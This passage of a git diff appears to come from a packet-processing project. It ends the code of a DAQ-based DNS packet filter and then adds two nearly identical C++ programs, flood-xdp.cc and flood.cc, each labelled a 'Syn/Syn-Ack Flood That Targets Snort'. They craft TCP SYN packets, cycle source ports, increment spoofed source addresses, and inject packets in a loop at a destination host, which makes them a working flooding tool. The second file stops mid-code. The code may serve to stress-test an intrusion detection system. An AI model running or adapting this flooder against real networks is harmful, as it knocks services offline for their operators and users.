TXT_FG_PURPLE("blocklist"); + if (verdict == DAQ_VERDICT_IGNORE) + return "ignore"; + return ""; + } + + void print_packets(DaqMsgFrame const& frame) + { + for (unsigned i = 0; i < frame.recv_count; i++) + { + auto const & msg = frame.msgs[i]; + if (msg->type == DAQ_MSG_TYPE_PACKET) { + DAQ_PktHdr_t const * hdr = daq_msg_get_pkthdr(msg); + uint8_t const * data = daq_msg_get_data(msg); + uint32_t const size = daq_msg_get_data_len(msg); + + DAQ_Verdict verdict = default_verdict; + bool matched = false; + if (filter_packet(hdr, data, size, fcode)) { + verdict = match_verdict; + matched = true; + } + + verdicts.verdicts[i] = verdict; + printf(matched ? "[" TXT_FG_PURPLE("match") "] " : ""); + printf("[%s] ", str_from_verdict(verdict)); + print_packet(id, hdr, data, hdr->pktlen); + } + } + } + + DaqConfig config; + unsigned id; + + enum { INVAL, STOP, START } state; + std::thread thread; + threadname_t name; + bpf_program fcode; + DaqVerdictFrame verdicts; + + DAQ_Verdict match_verdict; + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; +}; + +// this is similar to how tcpdump +static inline std::string +concat_args(int argc, char const* argv[]) +{ + std::string result; + for (int i = 0; i < argc; ++i) + { + if (i > 0) + { + result += " "; + } + result += argv[i]; + } + return result; +} + +static inline DAQ_Verdict +verdict_from_str(std::string const& arg) +{ + if (arg == "pass") + return DAQ_VERDICT_PASS; + + if (arg == "block") + return DAQ_VERDICT_BLOCK; + + if (arg == "allowlist" || arg == "whitelist") + return DAQ_VERDICT_WHITELIST; + + if (arg == "blocklist" || arg == "blacklist") + return DAQ_VERDICT_BLACKLIST; + + abort(); + return DAQ_VERDICT_IGNORE; +} + +int main(int argc, char const* argv[]) +{ + DAQ::load_modules(); + packet_set_datalink(DLT_EN10MB); + + DaqVars vars { + { "debug", "true" }, + }; + + if (argc < 2) + { + fprintf(stderr, "Usage: dnshog \n"); + exit(1); + } + + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + DAQ_Verdict match_verdict = verdict_from_str("pass"); + std::string filter = "port 53"; + + DaqConfig pcap_config("pcap", argv[1], DAQ_MODE_READ_FILE, vars); + DataPlaneWorker wk0(pcap_config, 0, filter, match_verdict, default_verdict); + + sleep(2); + + wk0.stop(); + wk0.join(); + + DAQ::unload_modules(); + return 0; +} diff --git a/bin/flood-xdp.cc b/bin/flood-xdp.cc new file mode 100644 index 0000000..9616b91 --- /dev/null +++ b/bin/flood-xdp.cc @@ -0,0 +1,831 @@ +/* + * Copyright (c) Victor Roemer, 2013. All rights reserved. + * Feb 24 2013 + * Syn/Syn-Ack Flood That Targets Snort + * + */ + +// DAQ Global - vjr +#include +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern "C" int ip_checksum ( void *, size_t ); + +/*************************************************************************** + * Packet Data Type * + ***************************************************************************/ + +#define MY_IP_VERS 4 +#define MY_IP_HLEN 5 +#define MY_IP_TTL 64 + +#define START_PORT 1024 + +#define PKTBUFSIZ 1472 +#define FIXEDSIZE \ + (sizeof(struct ether_header)+sizeof(struct ip)*1+sizeof(struct tcphdr)) + +struct PacketTemplate { + struct ether_header eth; + struct ip ip; + //struct ip ip2; + struct tcphdr tcp; + unsigned char payload[(PKTBUFSIZ - FIXEDSIZE)]; +} __attribute__((__packed__)); + +/*************************************************************************** + * Runtime Options * + ***************************************************************************/ + +static unsigned opt__egress_id; +static const char *opt__ifr_name; +static const char *opt__src_ipaddr; +static const char *opt__dst_ipaddr; +static const char *opt__dst_hwaddr; +static const char *opt__src_hwaddr; +static unsigned opt__loop_count; + +static const char * const shortopts = "he:i:s:d:S:D:l:"; +static struct option longopts[] = +{ + { "help", no_argument, NULL, 'h' }, + { "dev", required_argument, NULL, 'e' }, + { "intf", required_argument, NULL, 'i' }, + { "src-ip", required_argument, NULL, 's' }, + { "dst-ip", required_argument, NULL, 'd' }, + { "dst-mac", required_argument, NULL, 'D' }, + { "src-mac", required_argument, NULL, 'S' }, + { "loop", required_argument, NULL, 'l' }, + { NULL, 0, NULL, 0 } +}; + +static void display_usage ( void ) +{ + fprintf(stdout, + "Usage: syn_ack_flood --intf -D --src-ip --dst-ip \n\n"); +} + +static void display_help ( void ) +{ + display_usage(); + fprintf(stdout, + " Options:\n" + "\t-e , --dev Device index to send packets to\n" + "\t-i , --intf Device to send packets from\n" + "\t-D , --dst-mac HW address of your default gw\n" + "\t-s , --src-ip Starting source address\n" + "\t-d , --dst-ip Destination address (A box behind Snort)\n" + "\t-l , --loop Number of packets to send\n" + "\n" + " Misc Options:\n" + "\t-h, --help Display this help\n" + "\n" + ); +} + +static int do_args ( int argc, char *argv[] ) +{ + int argi, ch; + while ( (ch = getopt_long(argc, argv, shortopts, longopts, &argi)) != -1) + { + switch ( ch ) + { + case 'e': + opt__egress_id = atoi(optarg); + break; + + case 'i': + opt__ifr_name = optarg; + break; + + case 's': + opt__src_ipaddr = optarg; + break; + + case 'd': + opt__dst_ipaddr = optarg; + break; + + case 'D': + opt__dst_hwaddr = optarg; + break; + + case 'S': + opt__src_hwaddr = optarg; + break; + + case 'l': + opt__loop_count = atoi(optarg); + break; + + case 'h': + display_help(); + exit(0); + break; + + default: + fprintf(stdout, + "Try `syn_ack_attack --help' for more information.\n\n"); + exit(1); + } + } + + /* Required arguments */ + if ( !opt__ifr_name || !opt__dst_hwaddr || !opt__dst_ipaddr || + !opt__src_ipaddr ) + { + fprintf(stderr, "Missing required arguements!\n"); + display_usage(); + exit(1); + } + + return 0; +} + +#define TXT_FG_RED(str) "\e[31m" str "\e[0m" +#define TXT_FG_GREEN(str) "\e[32m" str "\e[0m" +#define TXT_FG_ORANGE(str) "\e[33m" str "\e[0m" +#define TXT_FG_TEAL(str) "\e[34m" str "\e[0m" +#define TXT_FG_PURPLE(str) "\e[35m" str "\e[0m" + +#include "daq_print.h" + +/* DLT_RAW + * + * Mandatory, as the VPP daq only supports L3 delivery. + * + * This is used to set the "base protocol" used in libpcap and libpacket + * features. + */ +//#define DLT_RAW 12 + +/* DAQ_BATCH_SIZE + * + * The maximum number of packets (DAQ_Msg_h) that we will batch read/process at + * once. + */ +#define DAQ_BATCH_SIZE 16 + +/* SNAPLEN + * + * The SNAPLEN is the absolulte maximum size packet we support processing. + * NOTICE: This value should be defined by VPP as the vlib buffer size. + */ +#define SNAPLEN 2048 + +/* TIMEOUT + * + * The TIMEOUT amount of usec waiting for daq_receive to return. + * NOTICE: TIMEOUT support in redacted DAQ only works in interrupt mode. + */ +#define TIMEOUT 100 + +/* STATIC_MODULES + * + * Enables the support of builtin libdaq_static_redacted.la + * + * If you're in a pinch and need to build an all-in-one static binary, you can + * do it, but not using the Makefile. */ +#undef STATIC_MODULES + +#define UNUSED(name) name ## _unused __attribute__ ((unused)) +#define IS_SET(test, bits) (((test) & (bits)) == (bits)) + +#ifndef UNIX_PATH_MAX +#define UNIX_PATH_MAX (sizeof(((struct sockaddr_un*)NULL)->sun_path)) +#endif + +using socketpath_t = char[UNIX_PATH_MAX]; + +#define ERRBUF_SIZE 256 +using Errbuf = std::array; + +// DaqVariable +using DaqVariable = std::pair; +using DaqVars = std::vector; + +namespace DAQ +{ +#ifdef STATIC_MODULES + // from libdaq_static_redacted.a + extern "C" const DAQ_ModuleAPI_t redacted_daq_module_data; + + static DAQ_Module_h static_modules[] = + { + &redacted_daq_module_data, + nullptr + }; +#endif + + static char const *module_paths[] = + { + "/usr/local/lib/abcip", + "/usr/local/lib/daq", + nullptr + }; + + static bool s_modules_loaded = false; + void load_modules() + { + if (s_modules_loaded == false) + { + s_modules_loaded = true; +#ifdef STATIC_MODULES + daq_load_static_modules(static_modules); +#endif + daq_load_dynamic_modules(module_paths); + } + } + + void unload_modules() + { + if (s_modules_loaded == true) + { + daq_unload_modules(); + s_modules_loaded = false; + } + } +} + +// DaqConfig +// +// DaqConfig is a "copy safe" representation of a DAQ_Config_h opaque pointer. +// This would be trivial to implement if the DAQ_Config_t type was avaiable +// from the DAQ API. +// +// The DaqConfig attempts to make a mutable representation of a DAQ_Config_h. +// To accomplish this task, it implements a factory pattern, constructring C++ +// type DAQ_Config_p that provides a constructor/desctructor for DAQ_Config_h. +// +// NOTICE +// +// * Implementing this would be easier if the DAQ_Config_t was not hidden from +// the DAQ API. +// +class DaqConfig +{ +public: + DaqConfig(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : module(module), + input(input), + mode(mode), + vars(vars) + { } + + struct DAQ_Config_p + { + DAQ_Config_p(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : config(nullptr) + { + daq_config_new(&config); + daq_config_set_input(config, input.c_str()); + daq_config_set_snaplen(config, SNAPLEN); + daq_config_set_timeout(config, TIMEOUT); + + DAQ_Module_h mod = daq_find_module(module.c_str()); + if (mod == nullptr) { + daq_config_destroy(config); + config = nullptr; + } + + DAQ_ModuleConfig_h modconf = nullptr; + int result = daq_module_config_new(&modconf, mod); + if (result != DAQ_SUCCESS) { + daq_config_destroy(config); + config = nullptr; + } + + daq_module_config_set_mode(modconf, mode); + for (auto const & var : vars) { + daq_module_config_set_variable(modconf, var.first.c_str(), var.second.c_str()); + } + + result = daq_config_push_module_config(config, modconf); + if (result != DAQ_SUCCESS) { + // NOTICE This is the only time we are allowed to call this ourselves. + daq_module_config_destroy(modconf); + modconf = nullptr; + + daq_config_destroy(config); + config = nullptr; + } + } + + ~DAQ_Config_p() + { + // Calling daq_config_destroy will call + // `daq_module_config_destroy(modcfg)` on each module. + daq_config_destroy(config); + config = nullptr; + } + + DAQ_Config_h config; + }; + + DAQ_Config_p get_config() const + { + return DAQ_Config_p(module, input, mode, vars); + } + +private: + std::string module; + std::string input; + DAQ_Mode mode; + DaqVars vars; +}; + +#define FRAME_SIZE 256 + +struct DaqMsgFrame +{ + std::array msgs; + size_t recv_count; +}; + +struct DaqVerdictFrame +{ + std::array verdicts; +}; + +struct RecvResult +{ + DAQ_RecvStatus status; + DaqMsgFrame const& frame; +}; + +class DaqInstance +{ +public: + DaqInstance(DaqConfig const & config) + : instance(NULL), config(config) + {} + + ~DaqInstance() + { + if (instance) { + daq_instance_destroy(instance); + instance = nullptr; + } + + msgs.recv_count = 0; + } + + DaqInstance(DaqInstance const & other) + : config(other.config) + { } + + int instantiate() + { + return daq_instance_instantiate( + config.get_config().config, + &instance, + errbuf.data(), + errbuf.size()); + } + + int start() + { + return daq_instance_start(instance); + } + + int stop() + { + return daq_instance_stop(instance); + } + + RecvResult receive_msgs() + { + DAQ_RecvStatus rstat; + msgs.recv_count = daq_instance_msg_receive( + instance, + msgs.msgs.max_size(), + msgs.msgs.data(), + &rstat); + + return { rstat, msgs }; + } + + //void finalize_msgs(DAQ_Verdict const & verdict) + void finalize_msgs(DaqVerdictFrame const & verdicts) + { + for (unsigned i = 0; i < msgs.recv_count; i++) + { + DAQ_Msg_h msg = msgs.msgs[i]; + DAQ_Verdict verdict = verdicts.verdicts[i]; + daq_instance_msg_finalize(instance, msg, verdict); + } + + msgs.recv_count = 0; + } + + int inject(uint8_t const* data, uint32_t const len) + { + // XXX Possible to inject arbitrary packet/data back into the subsystem here. + // Good option for data-plane data updates (nbar, appid, etc) + DAQ_PktHdr_t ph = {}; + //ph.ingress_index = 1; + ph.ingress_index = opt__egress_id; + return daq_instance_inject( + instance, + DAQ_MSG_TYPE_PACKET, + &ph, + data, + len); + } + + DAQ_Stats_t get_stats() const + { + DAQ_Stats_t stats; + daq_instance_get_stats(instance, &stats); + return stats; + } + + void reset_stats() const + { + daq_instance_reset_stats(instance); + } + +private: + DAQ_Instance_h instance; + DaqConfig config; + DaqMsgFrame msgs; + Errbuf errbuf; +}; + +class DataPlaneWorker +{ + using threadname_t = char[256]; + +public: + DataPlaneWorker(DaqConfig config, unsigned id, std::string filter, DAQ_Verdict verdict, DAQ_Verdict default_verdict, PacketTemplate& packet) + : config(config), + id(id), + match_verdict(verdict), + default_verdict(default_verdict), + packet(packet) + { + pcap_t *dead = pcap_open_dead(DLT_EN10MB, SNAPLEN); + if (dead == nullptr) + abort(); + + if (pcap_compile(dead, &fcode, filter.c_str(), 0, PCAP_NETMASK_UNKNOWN) == -1) + { + fprintf(stderr, "%s: BPF state machine compilation failed!", __func__); + abort(); + } + + pcap_close(dead); + dead = nullptr; + + int result = bpf_validate(fcode.bf_insns, fcode.bf_len); + if (result != 1) + { + fprintf(stderr, "%s: BPF is not valid!", __func__); + abort(); + } + + thread = std::thread(&DataPlaneWorker::eval, this); + pthread_t native = thread.native_handle(); + + snprintf(name, sizeof(name), "pkt_wk_%u", id); + pthread_setname_np(native, name); + + // Float these workers on core 4 + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(4+id, &cpuset); + pthread_setaffinity_np(native, sizeof(cpuset), &cpuset); + } + + ~DataPlaneWorker() + { + pcap_freecode(&fcode); + } + + void join() + { + thread.join(); + } + + void eval() + { + DaqInstance in(config); + + in.instantiate(); + in.start(); + + state = START; + + attack_i = 0; + src_port = START_PORT; + + fprintf(stdout, "[+] Attacking!\n"); + + do { + auto recv = in.receive_msgs(); + + if (recv.frame.recv_count > 0) { + //print_packets(recv.frame); + } + + if (attack(in) == 0) { + state = STOP; + } + + if (recv.status == DAQ_RSTAT_ERROR || + recv.status == DAQ_RSTAT_INVALID) { + state = STOP; + } + + in.finalize_msgs(verdicts); + usleep(0); + } while(state != STOP); + fprintf(stdout, "[+] Stop!\n"); + + in.stop(); + } + + void stop() + { + state = STOP; + } + + bool is_active() + { + return state == START; + } + +private: + int attack(DaqInstance& in) + { + while ( attack_i++ < opt__loop_count ) + { + if ( (attack_i % (65535-START_PORT)) == 0 ) + { + /* Increment the Source IP in the tunnel when the port space has + * been exhausted -- reset port to START_PORT */ + //uint32_t ip = ntohl(packet.ip2.ip_src.s_addr) + 1; + uint32_t ip = ntohl(packet.ip.ip_src.s_addr) + id + 1; + + /* Don't let last octet be 0 or 255 */ + ((ip & 0xFF) == 255) + ? ip+=2 + : ((ip % 0xFF) == 0) + ? ip+=1 + : 0; + + //packet.ip2.ip_src.s_addr = htonl(ip); + packet.ip.ip_src.s_addr = htonl(ip); + src_port = START_PORT; + } + else + { + /* Each packet has a unique source port. */ + src_port++; + } + + uint16_t ip_len = ntohs(packet.ip.ip_len); + size_t pktlen = ip_len + sizeof(packet.eth); + packet.tcp.th_sport = htons(src_port); + packet.tcp.th_dport = htons(80); + ip_checksum(&packet.ip, ip_len); + + printf("[" TXT_FG_PURPLE("inject") "] "); + + print_packet(id, nullptr, reinterpret_cast(&packet), pktlen); + in.inject(reinterpret_cast(&packet), pktlen); + + // Free some time to check the receive rings. + if ((attack_i % 1024) == 0) { + return 1; + } + } + + // Complete + return 0; + } + + bool filter_packet(UNUSED(DAQ_PktHdr_t const* hdr), + uint8_t const* data, + uint32_t const size, + bpf_program const& fcode) + { + return bpf_filter(fcode.bf_insns, data, size, size) == SNAPLEN; + } + + void print_packets(DaqMsgFrame const& frame) + { + for (unsigned i = 0; i < frame.recv_count; i++) + { + auto const & msg = frame.msgs[i]; + if (msg->type == DAQ_MSG_TYPE_PACKET) + { + DAQ_PktHdr_t const * hdr = daq_msg_get_pkthdr(msg); + uint8_t const * data = daq_msg_get_data(msg); + uint32_t const size = daq_msg_get_data_len(msg); + + verdicts.verdicts[i] = match_verdict; + printf("[" TXT_FG_PURPLE("match") "] "); + print_packet(id, hdr, data, hdr->pktlen); + } + } + } + + DaqConfig config; + unsigned id; + + enum { INVAL, STOP, START } state; + std::thread thread; + threadname_t name; + bpf_program fcode; + DaqVerdictFrame verdicts; + + DAQ_Verdict match_verdict; + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + + /* Data-plane, runtime state */ + PacketTemplate packet; + unsigned attack_i; + uint16_t src_port; +}; + + +int main (int argc, char const *argv[]) +{ + do_args(argc, (char **)argv); + + /* Initialize the packet data */ + fprintf(stdout, "[+] Framming packet template\n"); + PacketTemplate packet = {}; + + /* ETHERNET Frame */ + packet.eth.ether_type = htons(ETHERTYPE_IP); + if ( opt__dst_hwaddr ) + { + struct ether_addr *hw = ether_aton(opt__dst_hwaddr); + if ( !hw ) + { + fprintf(stderr, "[!] Error in destination hw address specified.\n"); + exit(1); + } + memcpy(&packet.eth.ether_dhost, hw, sizeof(packet.eth.ether_dhost)); + } + + /* ETHERNET Frame */ + if ( opt__src_hwaddr ) + { + struct ether_addr *hw = ether_aton(opt__src_hwaddr); + if ( !hw ) + { + fprintf(stderr, "[!] Error in source hw address specified.\n"); + exit(1); + } + memcpy(&packet.eth.ether_shost, hw, sizeof(packet.eth.ether_shost)); + } + + + + std::string payload = "********************************" + "********************************" + "********************************" + "********************************" + "********************************" + "********************************" + "********************************" + "********************************"; + + /* IP Datagram */ + //int ip_len = FIXEDSIZE - sizeof(packet.eth) + payload.length(); + int ip_len = FIXEDSIZE - sizeof(packet.eth) + payload.length(); + + packet.ip.ip_v = MY_IP_VERS; + packet.ip.ip_hl = MY_IP_HLEN; + packet.ip.ip_ttl = MY_IP_TTL; + packet.ip.ip_len = htons(ip_len); + //packet.ip.ip_p = IPPROTO_IPIP; + packet.ip.ip_p = IPPROTO_TCP; + + if ( inet_pton(AF_INET, opt__src_ipaddr, &packet.ip.ip_src) <= 0 ) + { + fprintf(stderr, "[!] Error in source ip address specified.\n"); + exit(1); + } + + if ( inet_pton(AF_INET, opt__dst_ipaddr, &packet.ip.ip_dst) <= 0 ) + { + fprintf(stderr, "[!] Error in destination ip address specified.\n"); + exit(1); + } + + /* IP2 */ + //packet.ip2.ip_v = MY_IP_VERS; + //packet.ip2.ip_hl = MY_IP_HLEN; + //packet.ip2.ip_ttl = MY_IP_TTL; + //packet.ip2.ip_len = htons(ip_len - (packet.ip.ip_hl << 2)); + //packet.ip2.ip_p = IPPROTO_TCP; + //inet_pton(AF_INET, "10.0.0.1", &packet.ip2.ip_src); + //inet_pton(AF_INET, "10.9.8.7", &packet.ip2.ip_dst); + + /* TCP Header */ + packet.tcp.th_off = 0x5; + packet.tcp.th_win = htons(256); + //packet.tcp.th_flags = TH_SYN|TH_ACK; + packet.tcp.th_flags = TH_SYN; + + memcpy(packet.payload, payload.c_str(), payload.length()); + + fprintf(stdout, "[+] Initializing DAQ!\n"); + + DAQ::load_modules(); + packet_set_datalink(DLT_EN10MB); + + DaqVars vars { + { "debug", "true" }, + { "zc", "0" }, + //{ "use_tx_ring", "false" }, + //{ "fanout_type", "lb" }, + //{ "buffer_size_mb", "max" }, + }; + + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + DAQ_Verdict match_verdict = DAQ_VERDICT_PASS; + std::string filter = "ip and host "; + filter += opt__src_ipaddr; + + DaqConfig afpacket_config("afxdp", opt__ifr_name, DAQ_MODE_INLINE, vars); + DataPlaneWorker wk0(afpacket_config, 0, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk1(afpacket_config, 1, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk2(afpacket_config, 2, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk3(afpacket_config, 3, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk4(afpacket_config, 4, filter, match_verdict, default_verdict, packet); + + sleep(5); + + while (wk0.is_active())// or + //wk1.is_active() or + //wk2.is_active()) + //wk3.is_active() or + //wk4.is_active()) + { + sleep(1); + } + + wk0.stop(); + wk0.join(); + + //wk1.stop(); + //wk1.join(); + + //wk2.stop(); + //wk2.join(); + + //wk3.stop(); + //wk3.join(); + + //wk4.stop(); + //wk4.join(); + + DAQ::unload_modules(); + return 0; +} + diff --git a/bin/flood.cc b/bin/flood.cc new file mode 100644 index 0000000..4852f40 --- /dev/null +++ b/bin/flood.cc @@ -0,0 +1,830 @@ +/* + * Copyright (c) Victor Roemer, 2013. All rights reserved. + * Feb 24 2013 + * Syn/Syn-Ack Flood That Targets Snort + * + */ + +// DAQ Global - vjr +#include +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern "C" int ip_checksum ( void *, size_t ); + +/*************************************************************************** + * Packet Data Type * + ***************************************************************************/ + +#define MY_IP_VERS 4 +#define MY_IP_HLEN 5 +#define MY_IP_TTL 64 + +#define START_PORT 1024 + +#define PKTBUFSIZ 1472 +#define FIXEDSIZE \ + (sizeof(struct ether_header)+sizeof(struct ip)*1+sizeof(struct tcphdr)) + +struct PacketTemplate { + struct ether_header eth; + struct ip ip; + //struct ip ip2; + struct tcphdr tcp; + unsigned char payload[(PKTBUFSIZ - FIXEDSIZE)]; +} __attribute__((__packed__)); + +/*************************************************************************** + * Runtime Options * + ***************************************************************************/ + +static unsigned opt__egress_id; +static const char *opt__ifr_name; +static const char *opt__src_ipaddr; +static const char *opt__dst_ipaddr; +static const char *opt__dst_hwaddr; +static const char *opt__src_hwaddr; +static unsigned opt__loop_count; + +static const char * const shortopts = "he:i:s:d:S:D:l:"; +static struct option longopts[] = +{ + { "help", no_argument, NULL, 'h' }, + { "dev", required_argument, NULL, 'e' }, + { "intf", required_argument, NULL, 'i' }, + { "src-ip", required_argument, NULL, 's' }, + { "dst-ip", required_argument, NULL, 'd' }, + { "dst-mac", required_argument, NULL, 'D' }, + { "src-mac", required_argument, NULL, 'S' }, + { "loop", required_argument, NULL, 'l' }, + { NULL, 0, NULL, 0 } +}; + +static void display_usage ( void ) +{ + fprintf(stdout, + "Usage: syn_ack_flood --intf -D --src-ip --dst-ip \n\n"); +} + +static void display_help ( void ) +{ + display_usage(); + fprintf(stdout, + " Options:\n" + "\t-e , --dev Device index to send packets to\n" + "\t-i , --intf Device to send packets from\n" + "\t-D , --dst-mac HW address of your default gw\n" + "\t-s , --src-ip Starting source address\n" + "\t-d , --dst-ip Destination address (A box behind Snort)\n" + "\t-l , --loop Number of packets to send\n" + "\n" + " Misc Options:\n" + "\t-h, --help Display this help\n" + "\n" + ); +} + +static int do_args ( int argc, char *argv[] ) +{ + int argi, ch; + while ( (ch = getopt_long(argc, argv, shortopts, longopts, &argi)) != -1) + { + switch ( ch ) + { + case 'e': + opt__egress_id = atoi(optarg); + break; + + case 'i': + opt__ifr_name = optarg; + break; + + case 's': + opt__src_ipaddr = optarg; + break; + + case 'd': + opt__dst_ipaddr = optarg; + break; + + case 'D': + opt__dst_hwaddr = optarg; + break; + + case 'S': + opt__src_hwaddr = optarg; + break; + + case 'l': + opt__loop_count = atoi(optarg); + break; + + case 'h': + display_help(); + exit(0); + break; + + default: + fprintf(stdout, + "Try `syn_ack_attack --help' for more information.\n\n"); + exit(1); + } + } + + /* Required arguments */ + if ( !opt__ifr_name || !opt__dst_hwaddr || !opt__dst_ipaddr || + !opt__src_ipaddr ) + { + fprintf(stderr, "Missing required arguements!\n"); + display_usage(); + exit(1); + } + + return 0; +} + +#define TXT_FG_RED(str) "\e[31m" str "\e[0m" +#define TXT_FG_GREEN(str) "\e[32m" str "\e[0m" +#define TXT_FG_ORANGE(str) "\e[33m" str "\e[0m" +#define TXT_FG_TEAL(str) "\e[34m" str "\e[0m" +#define TXT_FG_PURPLE(str) "\e[35m" str "\e[0m" + +#include "daq_print.h" + +/* DLT_RAW + * + * Mandatory, as the VPP daq only supports L3 delivery. + * + * This is used to set the "base protocol" used in libpcap and libpacket + * features. + */ +//#define DLT_RAW 12 + +/* DAQ_BATCH_SIZE + * + * The maximum number of packets (DAQ_Msg_h) that we will batch read/process at + * once. + */ +#define DAQ_BATCH_SIZE 16 + +/* SNAPLEN + * + * The SNAPLEN is the absolulte maximum size packet we support processing. + * NOTICE: This value should be defined by VPP as the vlib buffer size. + */ +#define SNAPLEN 2048 + +/* TIMEOUT + * + * The TIMEOUT amount of usec waiting for daq_receive to return. + * NOTICE: TIMEOUT support in redacted DAQ only works in interrupt mode. + */ +#define TIMEOUT 100 + +/* STATIC_MODULES + * + * Enables the support of builtin libdaq_static_redacted.la + * + * If you're in a pinch and need to build an all-in-one static binary, you can + * do it, but not using the Makefile. */ +#undef STATIC_MODULES + +#define UNUSED(name) name ## _unused __attribute__ ((unused)) +#define IS_SET(test, bits) (((test) & (bits)) == (bits)) + +#ifndef UNIX_PATH_MAX +#define UNIX_PATH_MAX (sizeof(((struct sockaddr_un*)NULL)->sun_path)) +#endif + +using socketpath_t = char[UNIX_PATH_MAX]; + +#define ERRBUF_SIZE 256 +using Errbuf = std::array; + +// DaqVariable +using DaqVariable = std::pair; +using DaqVars = std::vector; + +namespace DAQ +{ +#ifdef STATIC_MODULES + // from libdaq_static_redacted.a + extern "C" const DAQ_ModuleAPI_t redacted_daq_module_data; + + static DAQ_Module_h static_modules[] = + { + &redacted_daq_module_data, + nullptr + }; +#endif + + static char const *module_paths[] = + { + "/usr/local/lib/abcip", + "/usr/local/lib/daq", + nullptr + }; + + static bool s_modules_loaded = false; + void load_modules() + { + if (s_modules_loaded == false) + { + s_modules_loaded = true; +#ifdef STATIC_MODULES + daq_load_static_modules(static_modules); +#endif + daq_load_dynamic_modules(module_paths); + } + } + + void unload_modules() + { + if (s_modules_loaded == true) + { + daq_unload_modules(); + s_modules_loaded = false; + } + } +} + +// DaqConfig +// +// DaqConfig is a "copy safe" representation of a DAQ_Config_h opaque pointer. +// This would be trivial to implement if the DAQ_Config_t type was avaiable +// from the DAQ API. +// +// The DaqConfig attempts to make a mutable representation of a DAQ_Config_h. +// To accomplish this task, it implements a factory pattern, constructring C++ +// type DAQ_Config_p that provides a constructor/desctructor for DAQ_Config_h. +// +// NOTICE +// +// * Implementing this would be easier if the DAQ_Config_t was not hidden from +// the DAQ API. +// +class DaqConfig +{ +public: + DaqConfig(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : module(module), + input(input), + mode(mode), + vars(vars) + { } + + struct DAQ_Config_p + { + DAQ_Config_p(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : config(nullptr) + { + daq_config_new(&config); + daq_config_set_input(config, input.c_str()); + daq_config_set_snaplen(config, SNAPLEN); + daq_config_set_timeout(config, TIMEOUT); + + DAQ_Module_h mod = daq_find_module(module.c_str()); + if (mod == nullptr) { + daq_config_destroy(config); + config = nullptr; + } + + DAQ_ModuleConfig_h modconf = nullptr; + int result = daq_module_config_new(&modconf, mod); + if (result != DAQ_SUCCESS) { + daq_config_destroy(config); + config = nullptr; + } + + daq_module_config_set_mode(modconf, mode); + for (auto const & var : vars) { + daq_module_config_set_variable(modconf, var.first.c_str(), var.second.c_str()); + } + + result = daq_config_push_module_config(config, modconf); + if (result != DAQ_SUCCESS) { + // NOTICE This is the only time we are allowed to call this ourselves. + daq_module_config_destroy(modconf); + modconf = nullptr; + + daq_config_destroy(config); + config = nullptr; + } + } + + ~DAQ_Config_p() + { + // Calling daq_config_destroy will call + // `daq_module_config_destroy(modcfg)` on each module. + daq_config_destroy(config); + config = nullptr; + } + + DAQ_Config_h config; + }; + + DAQ_Config_p get_config() const + { + return DAQ_Config_p(module, input, mode, vars); + } + +private: + std::string module; + std::string input; + DAQ_Mode mode; + DaqVars vars; +}; + +#define FRAME_SIZE 256 + +struct DaqMsgFrame +{ + std::array msgs; + size_t recv_count; +}; + +struct DaqVerdictFrame +{ + std::array verdicts; +}; + +struct RecvResult +{ + DAQ_RecvStatus status; + DaqMsgFrame const& frame; +}; + +class DaqInstance +{ +public: + DaqInstance(DaqConfig const & config) + : instance(NULL), config(config) + {} + + ~DaqInstance() + { + if (instance) { + daq_instance_destroy(instance); + instance = nullptr; + } + + msgs.recv_count = 0; + } + + DaqInstance(DaqInstance const & other) + : config(other.config) + { } + + int instantiate() + { + return daq_instance_instantiate( + config.get_config().config, + &instance, + errbuf.data(), + errbuf.size()); + } + + int start() + { + return daq_instance_start(instance); + } + + int stop() + { + return daq_instance_stop(instance); + } + + RecvResult receive_msgs() + { + DAQ_RecvStatus rstat; + msgs.recv_count = daq_instance_msg_receive( + instance, + msgs.msgs.max_size(), + msgs.msgs.data(), + &rstat); + + return { rstat, msgs }; + } + + //void finalize_msgs(DAQ_Verdict const & verdict) + void finalize_msgs(DaqVerdictFrame const & verdicts) + { + for (unsigned i = 0; i < msgs.recv_count; i++) + { + DAQ_Msg_h msg = msgs.msgs[i]; + DAQ_Verdict verdict = verdicts.verdicts[i]; + daq_instance_msg_finalize(instance, msg, verdict); + } + + msgs.recv_count = 0; + } + + int inject(uint8_t const* data, uint32_t const len) + { + // XXX Possible to inject arbitrary packet/data back into the subsystem here. + // Good option for data-plane data updates (nbar, appid, etc) + DAQ_PktHdr_t ph = {}; + //ph.ingress_index = 1; + ph.ingress_index = opt__egress_id; + return daq_instance_inject( + instance, + DAQ_MSG_TYPE_PACKET, + &ph, + data, + len); + } + + DAQ_Stats_t get_stats() const + { + DAQ_Stats_t stats; + daq_instance_get_stats(instance, &stats); + return stats; + } + + void reset_stats() const + { + daq_instance_reset_stats(instance); + } + +private: + DAQ_Instance_h instance; + DaqConfig config; + DaqMsgFrame msgs; + Errbuf errbuf; +}; + +class DataPlaneWorker +{ + using threadname_t = char[256]; + +public: + DataPlaneWorker(DaqConfig config, unsigned id, std::string filter, DAQ_Verdict verdict, DAQ_Verdict default_verdict, PacketTemplate& packet) + : config(config), + id(id), + match_verdict(verdict), + default_verdict(default_verdict), + packet(packet) + { + pcap_t *dead = pcap_open_dead(DLT_EN10MB, SNAPLEN); + if (dead == nullptr) + abort(); + + if (pcap_compile(dead, &fcode, filter.c_str(), 0, 